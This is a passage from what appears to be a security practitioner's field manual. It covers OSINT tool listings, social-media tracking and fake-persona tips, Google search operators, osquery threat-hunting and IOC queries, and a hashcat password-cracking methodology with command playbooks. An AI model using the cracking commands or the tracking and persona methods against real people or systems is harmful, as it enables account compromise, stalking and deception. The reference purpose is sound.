REFERENCE:
https://twitter.com/aware_online/status/1234763437219164160
FIND TWEETS BASED ON LOCATION
1. Find location in Google Maps
2. Right click > "What's here?"
3. Click on GPS coordinates
4. Copy GPS coordinates
5. Go to Twitter.com
6. Use "geocode:LATT,LONG,0.1km"
7. Have fun!
REFERENCE:
https://twitter.com/aware_online/status/1235661987113295872
SPOOF BROWSER LOCATION GOOGLE CHROME
1. Open dev tools (F12)
2. Click on "Console" tab
3. Click on "ESC" button = "console drawer"
4. Click on "Sensors"
5. Select location/fill in coordinates
6. Have fun!
NOTE: IP address might still reveal your location!
REFERENCE:
https://twitter.com/aware_online/status/1236210589128671234
TikTok PROFILES JSON FORMAT!
1. Navigate to
https://tiktok.com/node/share/user/@{username}?isUniqueId=true
2. replace {username} with username of target
3. Have fun!
> Find profile pic in 720x720 format
> Find follower/liker count
& Scrape it!
Want it in 1080x1080 format?
1. Go to TikTok profile http://tiktok.com@{username}
2. Open dev tools (F12)
3. Click on "Network tab"
4. Refresh page (F5)
5. Select "XHR" tab
229
6. Double click on "api/user/detail/"
7. Open "AvatarLarger" link
8. Have fun!
REFERENCE:
https://twitter.com/aware_online/status/1237104037520117760
FICTIONAL ACCOUNT CREATION
Autogenerate fictional personas with the below online tools:
This Person Does Not Exist
https://thispersondoesnotexist.com/
This Resume Does Not Exist
https://thisresumedoesnotexist.com/
This Rental Does Not Exist
https://thisrentaldoesnotexist.com/
Fake Name Bio Generator
https://www.fakenamegenerator.com/
Random User Generator
https://randomuser.me/
Fake User Generator
https://uinames.com/
Dating Profile Generator
https://www.dating-profile-generator.org.uk/
Fake Persona Generator
https://www.elfqrin.com/fakeid.php
International Random Name Generator
https://www.behindthename.com/random/
O
O
OSINT_Tools
OSINT
MISC
ONLINE
Online tools broken into categories based on selector search.
ADDRESS
Fast People Search
fastpeoplesearch.com
GeoNames
geonames.org
People Finder
peoplefinder.com/reverse-address-
lookup.com
230
People Search Now
peoplesearchnow.com
True People Search
truepeoplesearch.com
White Pages
whitepages.com
ANON SEARCH
DuckDuckGo
duckduckgo.com
Start Page
startpage.com
Qwant
qwant.com
BOT/TROLL
Bot Sentinel
botsentinel.com
Botometer
botometer.iuni.iu.edu
Emergent
emergent.info
Faker Fact
fakerfact.org/try-it-out
Hoaxy
hoaxy.iuni.iu.edu
Iffy Quotient
csmr.umich.edu/plaform-health-
metrics
Information Operations
Archive
io-archive.org
Twitter Trails
twittertrails.com
DOMAIN
Analyze ID
analyzeid.com
DNS Trails
dnstrails.com
Domain Big Data
domainbigdata.com
DomainIQ
domainiq.com/snapshot_history
DNS Trails
dsntrails.com
Spyse
spyse.com
ViewDNS Whois
viewdns.info
Whoismind
whoismind.com
Whoisology
whoisology.com
Whoxy
whoxy.com/reverse-whois
EMAIL
Cynic
ashley.cynic.al
Dehashed
dehashed.com
Email Format
email-format.com
Email Hippo
tools.verifyemailaddress.io
Ghost Project
ghostproject.fr
HaveIBeenPwned
haveibeenpwned.com
Hunter
hunter.io
IntelligenceX
intelx.io
Leak Probe
leakprobe.net
Leaked Source
leakedsource.ru
Many Contacts
mancontacts.com/en/mail-check
PasteBinDump
psbdmp.ws
Public Mail Records
publicmailrecords.com
Simple Email Reputation
emailrep.io
Spycloud
spycloud.com
Spytox
spytox.com
TruMail
trumail.io
Verify Email
verify-email.org
FORENSICS
ExifData
exifdata.com
231
Extract Metadata
extractmetadata.com
Foto Forensics
fotoforensics.com
Forensically
29a.ch/photo-forensics
MetaPicz
metapicz.com
Image Verification
reveal-
mklab.iti.gr/reveal/index.html
WayBack Machine
archive.org
IMAGE
Baidu Images
graph.baidu.com
Bing Images
bing.com/images
Google Images
images.google.com
Karma Decay (Reddit)
karmadecay.com
TinEye
tineye.com
Yandex Images
images.yandex.com
INFRASTRUCTURE
Analyze ID
analyzeid.com
Backlink Checker
smallseotools.com/backlink-checker
Built With
builtwith.com
Carbon Dating
carbondate.cs.odu.edu
Censys
censys.io
Certificate Transparency
Logs
crt.sh
DNS Dumpster
dnsdumpster.com
DomainIQ
domainiq.com/reverse_analytics
Find Sub Domains
findsubdomains.com
FOFA
fofa.so
Follow That Page
followthatpage.com
IntelX Google ID
intelx.io/tools?tab=analytics
MX Toolbox
mxtoolbox.com
Nerdy Data
search.nerdydata.com
Pentest Tools
pentest-
tools.com/reconnaissance/find-
subdomains-of-domain
PubDB
pub-db.com
PublicWWW Source Code
publicwww.com
Records Finder
recordsfinder.com/email
Shared Count
sharedcount.com
Shodan
shodan.io
Similar Web
similarweb.com
Spy On Web
spyonweb.com
Spyse
spyse.com
Thingful (IoT)
thingful.net
Threat Crowd
threatcrowd.org
Threat Intelligence
Platform
threatintelligenceplatform.com
URLscan
urlscan.io
Virus Total
virustotal.com
Visual Ping
visualping.io
Visual Site Mapper
visualsitemapper.com
Wigle
wigle.net
232
Zoom Eye
zoomeye.org
IP ADDRESS
Censys
censys.io/ipv4
Exonerator
exonerator.torproject.org
IPLocation
iplocation.net
Shodan
shodan.io
Spyse
spyse.com
Threat Crowd
threatcrowd.org
Threat Intelligence
Platform
threatintelligenceplatform.com
UltraTools
ultratools.com
ViewDNS
viewdns.info/reverseip
ViewDNS
Viewdns.info/portscan
ViewDNS
Viewdns.info/whois
ViewDNS
Viewdns.info/iplocation
Virus Total
virustotal.com
IP LOG/SHORTNER
Bit.do
bit.do
Bitly
bitly.com
Canary Tokens
canarytokens.org
Check Short URL
checkshorturl.com
Get Notify
getnotify.com
Google URL Shortner
goo.gl
IP Logger
iplogger.org
Tiny
tiny.cc
URL Biggy
urlbiggy.com
LIVE CAMERAS
Airport Webcams
airportwebcams.net
EarthCam
earthcam.com
Opentopia
opentopia.com/hiddencam.php
Open Webcam Network
the-webcam-network.com
Webcam Galore
webcamgalore.com
WorldCam
worldcam.eu
METADATA
Exif Info
exifinfo.org
Extract Metadata
extractmetadata.com
Forensically
29a.ch/photo-forensics
Get Metadata
get-metadata.com
Jeffrey's Exif Viewer
exif.regex.info/exif.cgi
Online Barcode Reader
online-barcode-
reader/inliteresearch.com
OPEN DIRECTORY SEARCH
Filer
rsch.neocities.org/gen2/filer.html
File Chef
filechef.com
File Pursuit
filepursuit.com
Mamont
mmnt.net
Open Directory Search
Tool
opendirsearch.abifog.com
Open Directory Search
Portal
eyeofjustice.com/od/
233
Musgle
musgle.com
Lumpy Soft
lumpysoft.com
Lendx
lendx.org
PEOPLE
Family Tree Now
familytreenow.com/search
Fast People Search
fastpeoplesearch.com
Infobel
infobel.com
Intelius
intelius.com
Nuwber
nuwber.com
Radaris
radaris.com
Records Finder
recordsfinder.com
SearchPeopleFree
searchpeoplefree.com
Spytox
spytox.com
That’s Them
thatsthem.com
True People Search
truepeoplesearch.com
UFind
ufind.name
Xlek
xlek.com
SATELLITE
Bing Maps
bing.com/maps
Descartes Labs
maps.descarteslabs.com
Dual Maps
data.mashedworld.com/dualmaps/map.ht
m
Google Maps
maps.google.com
Wikimapia
wikimapia.com
World Imagery Wayback
livingatlas.arcgis.com/wayback
Yandex Maps
yandex.com/maps
Zoom Earth
zoomearth.com
SOCIAL MEDIA
Custom Google Search
Engine
https://cse.google.com/cse/publicurl
?key=AIzaSyB2lwQuNzUsRTH-
49FA7od4dB_Xvu5DCvg&cx=0017944965319
44888666:iyxger-cwug&q=%22%22
Many Contacts
mancontacts.com/en/mail-check
Records Finder
recordsfinder.com
Social Searcher
social-searcher.com
Twitter Advanced
twitter.com/search-advanced
Who Posted What
whopostedwhat.com
Who Tweeted First
ctrlq.org/first
TELEPHONE
Carrier Lookup
carrierlookup.com
Dehashed
dehashed.com
Everyone API
everyoneapi.com
Free Carriers Lookup
freecarrierlookup.com
Nuwber
nuwber.com
Old Phone Book
oldphonebook.com
Open CNAM
opencnam.com
People Search Now
peoplesearchnow.com
Sly Dial
slydial.com
Spy Dialer
spydialer.com
Spytox
spytox.com
234
That’s Them
thatsthem.com
True Caller
truecaller.com
Twilio
twilio.com/lookup
TOR
Ahmia
ahmia.fi
Dark Search
darksearch.io
Tor2Web
tor2web.org
Not Evil (Inside TOR)
hss3uro2hsxfogfq.onion
VEHICLE
Nomerogram - RU Plates
nomerogram.ru
Vin-Info
vin-info.com
World License Plates
worldlicenseplates.com
USERNAME
KnowEm
knowem.com
Name Checkr
namecheckr.com
Name Vine
namevine.com
User Search
usersearch.org
O
O
OSINT_Resources
OSINT
GUIDES
N/A
BELLINGCAT's ONLINE INVESTIGATION TOOLKIT
https://t.co/5vewV5ab5N
Intel Techniques OSINT Packet
https://inteltechniques.com/JE/OSINT_Packet_2019.pdf
Aware Online OSINT Tools
https://www.aware-online.com/en/osint-tools/
OSINT Techniques Tools
https://www.osinttechniques.com/osint-tools.html
OSINTCurious 10 Minute Tips
https://osintcurio.us/10-minute-tips/
Investigative Dashboard
Global index of public registries for companies, land registries
and courts. Search millions of documents and datasets, from public
sources, leaks and investigations. Create visual investigative
scenarios that map the people and companies in your story.
https://investigativedashboard.org/
I-Intelligence OSINT Resources Handbook
https://www.i-intelligence.eu/wp-
content/uploads/2018/06/OSINT_Handbook_June-2018_Final.pdf
235
Week in OSINT (Sector035)
https://medium.com/@sector035
AWESOME-OSINT Github
https://github.com/jivoi/awesome-osint
Ph055a's OSINT Collection
This is a maintained collection of free actionable resources for
those conducting OSINT investigations.
https://github.com/Ph055a/OSINT_Collection
S
S
OSINT_SearchEngines
ALL
DISCOVERY
N/A
BAIDU SEARCH
REFERENCE:
https://www.baidu.com/gaoji/advanced.html
In English
http://www.baiduinenglish.com/Search Tips
https://www.seomandarin.com/baidu-search-tips.html
GOOGLE SEARCH
OPERATOR
DESCRIPTION
“search term”
Force an exact-match search. Use this to refine
results for ambiguous searches, or to exclude
synonyms when searching for single words.
Example: “steve jobs”
OR
Search for X or Y. This will return results
related to X or Y, or both. Note: The pipe (|)
operator can also be used in place of “OR.”
Examples: jobs OR gates / jobs | gates
AND
Search for X and Y. This will return only results
related to both X and Y. Note: It doesn’t really
make much difference for regular searches, as
Google defaults to “AND” anyway. But it’s very
useful when paired with other operators.
Example: jobs AND gates
-
Exclude a term or phrase. In our example, any
pages returned will be related to jobs but
not Apple (the company).
Example: jobs -apple
*
Acts as a wildcard and will match any word or
phrase.
Example: steve * apple
236
( )
Group multiple terms or search operators to
control how the search is executed.
Example: (ipad OR iphone) apple
$
Search for prices. Also works for Euro (€), but
not GBP (£)
Example: ipad $329
define:
A dictionary built into Google, basically. This
will display the meaning of a word in a card-like
result in the SERPs.
Example: define:entrepreneur
cache:
Returns the most recent cached version of a web
page (providing the page is indexed, of course).
Example: cache:apple.com
filetype:
Restrict results to those of a certain filetype.
E.g., PDF, DOCX, TXT, PPT, etc. Note: The “ext:”
operator can also be used—the results are
identical.
Example: apple filetype:pdf / apple ext:pdf
site:
Limit results to those from a specific website.
Example: site:apple.com
related:
Find sites related to a given domain.
Example: related:apple.com
intitle:
Find pages with a certain word (or words) in the
title. In our example, any results containing the
word “apple” in the title tag will be returned.
Example: intitle:apple
allintitle:
Similar to “intitle,” but only results containing
all of the specified words in the title tag will
be returned.
Example: allintitle:apple iphone
inurl:
Find pages with a certain word (or words) in the
URL. For this example, any results containing the
word “apple” in the URL will be returned.
Example: inurl:apple
allinurl:
Similar to “inurl,” but only results containing
all of the specified words in the URL will be
returned.
Example: allinurl:apple iphone
intext:
Find pages containing a certain word (or words)
somewhere in the content. For this example, any
results containing the word “apple” in the page
content will be returned.
Example: intext:apple
allintext:
Similar to “intext,” but only results containing
all of the specified words somewhere on the page
will be returned.
Example: allintext:apple iphone
AROUND(X)
Proximity search. Find pages containing two words
or phrases within X words of each other. For this
237
example, the words “apple” and “iphone” must be
present in the content and no further than four
words apart.
Example: apple AROUND(4) iphone
weather:
Find the weather for a specific location. This is
displayed in a weather snippet, but it also
returns results from other “weather” websites.
Example: weather:san francisco
stocks:
See stock information (i.e., price, etc.) for a
specific ticker.
Example: stocks:aapl
map:
Force Google to show map results for a locational
search.
Example: map:silicon valley
movie:
Find information about a specific movie. Also
finds movie showtimes if the movie is currently
showing near you.
Example: movie:steve jobs
in
Convert one unit to another. Works with
currencies, weights, temperatures, etc.
Example: $329 in GBP
source:
Find news results from a certain source in Google
News.
Example: apple source:the_verge
_
Not exactly a search operator, but acts as a
wildcard for Google Autocomplete.
Example: apple CEO _ jobs
#..#
Search for a range of numbers. In the example
below, searches related to “WWDC videos” are
returned for the years 2010–2014, but not for
2015 and beyond.
Example: wwdc video 2010..2014
inanchor:
Find pages that are being linked to with specific
anchor text. For this example, any results with
inbound links containing either “apple” or
“iphone” in the anchor text will be returned.
Example: inanchor:apple iphone
allinanchor:
Similar to “inanchor,” but only results
containing all of the specified words in the
inbound anchor text will be returned.
Example: allinanchor:apple iphone
loc:placename Find results from a given area.
Example: loc:”san francisco” apple
location:
Find news from a certain location in Google News.
Example: loc:”san francisco” apple
REFERENCE:
https://github.com/JonnyBanana/Huge-Collection-of-
CheatSheet/tree/master/Google
238
https://twitter.com/alra3ees/status/1226365467507511296?s=11
https://www.exploit-db.com/google-hacking-database
YANDEX
Yandex most standard Boolean operators work (Google operators).
REFERENCE:
https://yandex.com/support/direct/keywords/symbols-and-operators.html
O
O
OSINT_SocialMedia
OSINT
RECON
ALL
NAME
DESCRIPTION
LINK
FACEBOOK
Graph.tips/beta
Automatically
advanced
searches for
Facebook
profiles.
graph.tips/beta
Who posted what?
Find posts on
Facebook
whopostedwhat.com
IntelTechniques
Various tools
for analyzing
Facebook
profiles/pages.
inteltechniques.com/menu.ht
ml
Facebook
Intersect Search
Tool
Conduct
Facebook
intersect
searches across
multiple
variables.
osintcombine.com/facebook-
intersect-search-tool
Facebook Live
Map
Live broadcasts
around the
world.
facebook.com/livemap
FBDown.net
Download public
Facebook
videos.
fbdown.net
peoplefindThor
Graph searches.
peoplefindthor.dk
Search Is Back!
Graph searches.
searchisback.com
Search Tool
Find accounts
by name, email,
screen name,
and phone.
netbootcamp.org/facebook.ht
ml
StalkScan
Automatic
advanced
stalkscan.com
239
searches for
your
Video Downloader
Online
Download
Facebook
videos.
fbdown.net
Skopenow
Social Media
Investigations
- name, phone,
email, username
searches.
skopenow.com
INSTAGRAM
Gramfly
View
interactions
and activity of
Instagram
users.
gramfly.com
StoriesIG
Tool for
downloading
Instagram
stories.
storiesig.com
Save Instagram
Stories
Allows you to
do a username
search for
stories already
saved.
isdb.pw/save-instagram-
stories.html
LINKEDIN
Socilab
Visualize and
analyze your
own LinkedIn
network.
socilab.com
LinkedIn Overlay
Remover
Removes the
overlay that
displays over a
LinkedIn
profile.
addons.mozilla.org/nl/firef
ox/addon/linkedin-overlay-
remover/
REDDIT
F5Bot
Sends you an
email when a
keyword is
mentioned on
Reddit.
intoli.com/blog/f5bot/
SNAPCHAT
Snap Map
Searchable map
of geotagged
snaps.
map.snapchat.com
TUMBLR
Tumblr Originals
Find original
posts per
Tumblr, thus
studiomoh.com/fun/tumblr_or
iginals
240
excluding
reblogs.
TIKTOK
TikTok Kapi
Search TikTok
by hashtag.
tiktokapi.ga
TWITTER
botcheck
Check Twitter
bots.
botcheck.me
Botometer
Check Twitter
bots.
botometer.iuni.iu.edu
InVID
verification
plugin
InVID plugin
Twitter
advanced search
by time
interval
www.invid-project.eu/verify
Onemilliontweetm
ap
Tweets map per
locations up to
6 hours old,
keyword search
option.
onemilliontweetmap.com
Treeverse
Chrome ext to
visualize
Twitter
conversations.
t.co/hGvska63Li
Tweetreach
Find reach of
tweets.
tweetreach.com
TwitterAudit
Check Twitter
bots.
twitteraudit.com
Twittervideodown
loader
Download posted
Twitter videos
twittervideodownloader.com
Twitter advanced
search
Search Twitter
by date,
keywords, etc.
twitter.com/search-
advanced
Twitter geobased
search
Twitter
geocoord search
qtrtweets.com/twitter/
twint
Python Twitter
scraping tool
followers,
following,
Tweets & while
evading most
API limits.
github.com/twintproject/twi
nt
Twlets
Download
tweets,
followers &
likes
twlets.com
quarter tweets
Geobased
Twitter search
qtrtweets.com/twitter
t
CLI tool for
Twitter
github.com/sferik/t
241
YOUTUBE
Amnesty YouTube
Dataviewer
Reverse image
search & exact
uploading time
amnestyusa.org/sites/defaul
t/custom-
scripts/citizenevidence
Geo Search Tool
Search YouTube
on location
youtube.github.io/geo-
search-tool/search.html
YouTube Geofind
Search YouTube
on location,
topic, channel
mattw.io/youtube-
geofind/location
youtube-dl
Python tool to
download from a
variety of
sources
rg3.github.io/youtube-dl/
REFERENCE:
https://docs.google.com/document/d/1BfLPJpRtyq4RFtHJoNpvWQjmGnyVkfE2HYoICKO
GguA/edit#heading=h.dgrpsgxju1wa
O
O
OSQUERY
BLUE TEAM
THREAT HUNT
WINDOWS/LINUX/MacOS
osquery is a tool that exposes an operating system as a high-
performance relational database. It enables developers to write
SQL-based queries that explore operating system data.
Query for top 10 largest processes by resident memory size
select pid, name, uid, resident_size from processes order by
resident_size desc limit 10;
Return process count, name for the top 10 most active processes
select count(pid) as total, name from processes group by name order
by total desc limit 10;
Finding new processes listening on network ports
select distinct process.name, listening.port, listening.address,
process.pid from processes as process join listening_ports as
listening on process.pid = listening.pid;
Finding suspicious outbound network activity
select s.pid, p.name, local_address, remote_address, family,
protocol, local_port, remote_port from process_open_sockets s join
processes p on s.pid = p.pid where remote_port not in (80, 443) and
family = 2;
Finding processes that are running whose binary has been deleted
from the disk
select name, path, pid from processes where on_disk = 0;
242
Finding specific indicators of compromise (IOCs) in memory or on
disk
select * from file where path = '/dev/ptmx0';
select * from apps where bundle_identifier = 'com.ht.RCSMac' or
bundle_identifier like 'com.yourcompany.%' or bundle_package_type
like 'OSAX';
select * from launchd where label = 'com.ht.RCSMac' or label like
'com.yourcompany.%' or name = 'com.apple.loginStoreagent.plist' or
name = 'com.apple.mdworker.plist' or name =
'com.apple.UIServerLogin.plist';
Finding new kernel modules that have loaded
#Run query periodically, diffing against older results
select name from kernel_modules;
Detect processes masquerading as legitimate Windows process
SELECT * FROM processes WHERE LOWER(name)='lsass.exe' AND
LOWER(path)!='c:\\windows\\system32\\lsass.exe' AND path!='';
SELECT name FROM processes WHERE pid=(SELECT parent FROM processes
WHERE LOWER(name)='services.exe') AND LOWER(name)!='wininit.exe';
SELECT * FROM processes WHERE LOWER(name)='svchost.exe' AND
LOWER(path)!='c:\\windows\\system32\\svchost.exe' AND
LOWER(path)!='c:\\windows\\syswow64\\svchost.exe' AND path!='';
SELECT name FROM processes WHERE pid=(SELECT parent FROM processes
WHERE LOWER(name)='svchost.exe') AND LOWER(name)!='services.exe';
Checks the hashes of accessibility tools to ensure they don't match
the hashes of cmd.exe, powershell.exe, or explorer.exe
SELECT * FROM hash WHERE (path='c:\\windows\\system32\\osk.exe' OR
path='c:\\windows\\system32\\sethc.exe' OR
path='c:\\windows\\system32\\narrator.exe' OR
path='c:\\windows\\system32\\magnify.exe' OR
path='c:\\windows\\system32\\displayswitch.exe') AND sha256 IN
(SELECT sha256 FROM hash WHERE
path='c:\\windows\\system32\\cmd.exe' OR
path='c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.ex
e' OR path='c:\\windows\\system32\\explorer.exe') AND
sha256!='e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b78
52b855';
Timestamp Inconsistency
243
select path,fn_btime,btime from ntfs_file_data where
device=”\\.\PhysicalDrive0” and partition=3 and
directory=”/Users/<USER>/Desktop/dir” and fn_btime != btime;
select filename, path from ntfs_file_data where
device=”\\.\PhysicalDrive0” and partition=2 and
path=”/Users/<USER>/Downloads” and fn_btime > ctime OR btime >
ctime;
Directory Unused Filename Entries
select parent_path,filename,slack from ntfs_indx_data WHERE
parent_path=”/Users/<USER>/Desktop/test_dir” and slack!=0;
REFERENCE:
https://blog.trailofbits.com/2019/05/31/using-osquery-for-remote-forensics/
https://github.com/trailofbits/osquery-extensions
https://blog.rapid7.com/2016/05/09/introduction-to-osquery-for-threat-
detection-dfir/
https://github.com/sttor/awesome-osquery
https://github.com/osquery/osquery/tree/master/packs
https://lockboxx.blogspot.com/2016/05/mac-os-x-live-forensics-109-
osqueryi.html
P
P
P
PACKAGE MANAGERS
ALL
ADMINISTRATION
LINUX
apt (deb) Debian,
Ubuntu, Mint
zypp (rpm)
openSUSE
244
MANAGING SOFTWARE
Install new package
repository
apt-get install pkg
zypper install pkg
Install new software
from package file
dpkg -i pkg
zypper install pkg
Update existing
software
apt-get install pkg
zypper update -t
package pkg
Remove unwanted
software
apt-get remove pkg
zypper remove pkg
UPDATING
Update package list
apt-get update
aptitude update
zypper refresh
Update System
apt-get upgrade
zypper update
SEARCHING
Search by package
name
apt-cache search pkg
zypper search pkg
Search by pattern
apt-cache search
pattern
zypper search -t
pattern pattern
Search by file name
apt-file search path
zypper wp file
List installed
packages
dpkg -l
zypper search -is
CONFIGURING
List repositories
cat
/etc/apt/sources.list
zypper repos
Add repository
vi
/etc/apt/sources.list
zypper addrepo
path name
Remove repository
vi
/etc/apt/sources.list
zypper removerepo
name
yum (rpm) Fedora
urpmi (rpm)
Mandriva
MANAGING
Install new package
repository
yum install pkg
urpmi pkg
Install new software
from package file
yum localinstall pkg
urpmi pkg
Update existing
software
yum update pkg
urpmi pkg
Remove unwanted
software
yum erase pkg
urpme pkg
UPDATING
Update package list
yum check-update
urpmi.update -a
Update System
yum update
urpmi --auto-
select
SEARCHING
Search by package
name
yum list pkg
urpmq pkg
Search by pattern
yum search pattern
urpmq --fuzzy pkg
Search by file name
yum provides file
urpmf file
List installed
packages
rpm -qa
rpm -qa
245
CONFIGURING
List repositories
yum repolist
urpmq --list-media
Add repository
vi /etc/yum.repos.d/
urpmi.addmedia
name path
Remove repository
vi /etc/yum.repos.d/
urpmi.removemedia
media
REFERENCE:
https://github.com/marsam/cheatsheets/blob/master/package-
management/package-management.rst
P
P
PASSWORD CRACKING_Methodology
RED TEAM
PASSWORD CRACKING
ALL
REQUIRED SOFTWARE
You will want to install the following software on your Windows or
*NIX host. This book does not cover how to install said software
and assumes you were able to follow the included links and
extensive support websites.
HASHCAT v5.1 (or newer)
https://hashcat.net/hashcat/
JOHN THE RIPPER (v1.8.0 JUMBO)
http://www.openwall.com/john/
PACK v0.0.4 (Password Analysis & Cracking Toolkit)
http://thesprawl.org/projects/pack/
Hashcat-utils v1.9
https://github.com/hashcat/hashcat-utils
Additionally, you will need dictionariesand wordlists. The following
sources are recommended:
WEAKPASS DICTIONARY
https://weakpass.com/wordlist
COMMAND STRUCTURE LEGEND
hashcat = Generic representation of the various Hashcat binary
names
john = Generic representation of the John the Ripper binary names
#type = Hash type; which is an abbreviation in John or a number in
Hashcat
hash.txt = File containing target hashes to be cracked
dict.txt = File containing dictionary/wordlist
rule.txt = File containing permutation rules to alter dict.txt
input
passwords.txt = File containing cracked password results
246
outfile.txt = File containing results of some functions output
Lastly, as a good reference for testing various hash types to place
into your “hash.txt” file, the below sites contain all the various
hashing algorithms and example output tailored for each cracking
tool:
HASHCAT HASH FORMAT EXAMPLES
https://hashcat.net/wiki/doku.php?id=example_hashes
JOHN THE RIPPER HASH FORMAT EXAMPLES
http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
http://openwall.info/wiki/john/sample-hashes
CORE HASH CRACKING KNOWLEDGE
ENCODING vs HASHING vs ENCRYPTING
Encoding = transforms data into a publicly known scheme for
usability
Hashing = one-way cryptographic function nearly impossible to
reverse
Encrypting = mapping of input data and output data reversible with
a key
CPU vs GPU
CPU = 2-72 cores mainly optimized for sequential serial processing
GPU = 1000’s of cores with 1000’s of threads for parallel
processing
CRACKING TIME = KEYSPACE / HASHRATE
Keyspace: charset^length (?a?a?a?a = 95^4 = 81,450,625)
Hashrate: hashing function / hardware power (bcrypt / GTX1080 =
13094 H/s)
Cracking Time: 81,450,625 / 13094 H/s = 6,220 seconds
*Keyspace displayed and Hashrate vary by tool and hardware
used
SALT = random data that’s used as additional input to a one-way
function
ITERATIONS = the number of times an algorithm is run over a given
hash
HASH IDENTIFICATION: there isn’t a foolproof method for identifying
which hash function was used by simply looking at the hash, but
there are reliable clues (i.e. $6$ sha512crypt). The best method is
to know from where the hash was extracted and identify the hash
function for that software.
247
DICTIONARY/WORDLIST ATTACK = straight attack uses a precompiled
list of words, phrases, and common/unique strings to attempt to
match a password.
BRUTE-FORCE ATTACK = attempts every possible combination of a given
character set, usually up to a certain length.
RULE ATTACK = generates permutations against a given wordlist by
modifying, trimming, extending, expanding, combining, or skipping
words.
MASK ATTACK = a form of targeted brute-force attack by using
placeholders for characters in certain positions
(i.e. ?a?a?a?l?d?d).
HYBRID ATTACK = combines a Dictionary and Mask Attack by taking
input from the dictionary and adding mask placeholders (i.e.
dict.txt ?d?d?d).
CRACKING RIG = from a basic laptop to a 64 GPU cluster, this is the
hardware/platform on which you perform your password hash attacks.
EXPECTED RESULTS
Know your cracking rig’s capabilities by performing benchmark
testing. Do not assume you can achieve the same results posted by
forum members without using the exact same dictionary, attack plan,
or hardware setup. Cracking success largely depends on your ability
to use resources efficiently and make calculated trade-offs based
on the target hash.
DICTIONARY/WORDLIST vs BRUTE-FORCE vs ANALYSIS
Dictionaries and brute-force are not the end all be all to crack
hashes. They are merely the beginning and end of an attack plan.
True mastery is everything in the middle, where analysis of
passwords, patterns, behaviors, and policies affords the ability to
recover that last 20%. Experiment with your attacks and research
and compile targeted wordlists with your new knowledge. Do not rely
heavily on dictionaries because they can only help you with what is
“known” and not the unknown.
CRACKING METHODOLOGY
The following is basic cracking methodology broken into steps, but
the process is subject to change based on current/future target
information uncovered during the cracking process.
1-EXTRACT HASHES
Pull hashes from target, identify hashing function, and properly
format output for your tool of choice.
2-FORMAT HASHES
248
Format your hashes based on your tool’s preferred method. See tool
documentation for this guidance. Hashcat, for example, on each line
takes <user>:<hash> OR just the plain <hash>.
3-EVALUATE HASH STRENGTH
Using the Appendix table “Hash Cracking Speed (Slow-Fast)” assess
your target hash and its cracking speed. If it is a slow hash, you
will need to be more selective at what types of dictionaries and
attacks you perform. If it is a fast hash, you can be more liberal
with your attack strategy.
4-CALCULATE CRACKING RIG CAPABILITIES
With the information from evaluating the hash strength, baseline
your cracking rig’s capabilities. Perform benchmark testing using
John The Ripper and/or Hashcat’s built-in benchmark ability on your
rig.
john --test
hashcat -b
Based on these results you will be able to better assess your
attack options by knowing your rigs capabilities against a specific
hash. This will be a more accurate result of a hash’s cracking
speed based on your rig. It will be useful to save these results
for future reference.
5-FORMULATE PLAN
Based on known or unknown knowledge begin creating an attack plan.
Included on the next page is a “Basic Cracking Playbook” to get you
started.
6-ANALYZE PASSWORDS
After successfully cracking a sufficient amount of hashes analyze
the results for any clues or patterns. This analysis may aid in
your success on any remaining hashes.
7-CUSTOM ATTACKS
Based on your password analysis create custom attacks leveraging
those known clues or patterns. Examples would be custom mask
attacks or rules to fit target users’ behavior or preferences.
8-ADVANCED ATTACKS
Experiment with Princeprocessor, custom Markov-chains,
maskprocessor, or custom dictionary attacks to shake out those
remaining stubborn hashes. This is where your expertise and
creativity really come into play.
9-REPEAT
Go back to STEP 4 and continue the process over again, tweaking
dictionaries, mask, parameters, and methods. You are in the grind
at this point and need to rely on skill and luck.
249
BASIC CRACKING PLAYBOOK
This is only meant as a basic guide to processing hashes and each
scenario will obviously be unique based on external circumstances.
For this attack plan assume the password hashes are raw MD5 and
some plain text user passwords were captured. If plain text
passwords were not captured, we would most likely skip to
DICTIONARY/WORDLIST attacks. Lastly, since MD5 is a “Fast” hash we
can be more liberal with our attack plan.
1-CUSTOM WORDLIST
First compile your known plain text passwords into a custom
wordlist file. Pass this to your tool of choice as a straight
dictionary attack.
hashcat -a 0 -m 0 -w 4 hash.txt custom_list.txt
2-CUSTOM WORDLIST + RULES
Run your custom wordlist with permutation rules to crack slight
variations.
hashcat -a 0 -m 0 -w 4 hash.txt custom_list.txt -r best64.rule --
loopback
3-DICTIONARY/WORDLIST
Perform a broad dictionary attack, looking for common passwords and
leaked passwords in well-known dictionaries/wordlists.
hashcat -a 0 -m 0 -w 4 hash.txt dict.txt
4-DICTIONARY/WORDLIST + RULES
Add rule permutations to the broad dictionary attack, looking for
subtle changes to common words/phrases and leaked passwords.
hashcat -a 0 -m 0 -w 4 hash.txt dict.txt -r best64.rule --loopback
5-CUSTOM WORDLIST + RULES
Add any newly discovered passwords to your custom wordlist and run
an attack again with permutation rules; looking for any other
subtle variations.
awk -F “:” ‘{print $2}’ hashcat.potfile >> custom_list.txt
hashcat -a 0 -m 0 -w 4 hash.txt custom_list.txt -r dive.rule --
loopback
6-MASK
Now we will use mask attacks included with Hashcat to search the
keyspace for common password lengths and patterns, based on the
RockYou dataset.
hashcat -a 3 -m 0 -w 4 hash.txt rockyou-1-60.hcmask
7-HYBRID DICTIONARY + MASK
250
Using a dictionary of your choice, conduct hybrid attacks looking
for larger variations of common words or known passwords by
appending/prepending masks to those candidates.
hashcat -a 6 -m 0 -w 4 hash.txt dict.txt rockyou-1-60.hcmask
hashcat -a 7 -m 0 -w 4 hash.txt rockyou-1-60.hcmask dict.txt
8-CUSTOM WORDLIST + RULES
Add any newly discovered passwords back to your custom wordlist and
run an attack again with permutation rules; looking for any other
subtle variations.
awk -F “:” ‘{print $2}’ hashcat.potfile >> custom_list.txt
hashcat -a 0 -m 0 -w 4 hash.txt custom_list.txt -r dive.rule --
loopback
9-COMBO
Using a dictionary of your choice, perform a combo attack by
individually combining the dictionary’s password candidates
together to form new candidates.
hashcat -a 1 -m 0 -w 4 hash.txt dict.txt dict.txt
10-CUSTOM HYBRID ATTACK
Add any newly discovered passwords back to your custom wordlist and
perform a hybrid attack against those new acquired passwords.
awk -F “:” ‘{print $2}’ hashcat.potfile >> custom_list.txt
hashcat -a 6 -m 0 -w 4 hash.txt custom_list.txt rockyou-1-60.hcmask
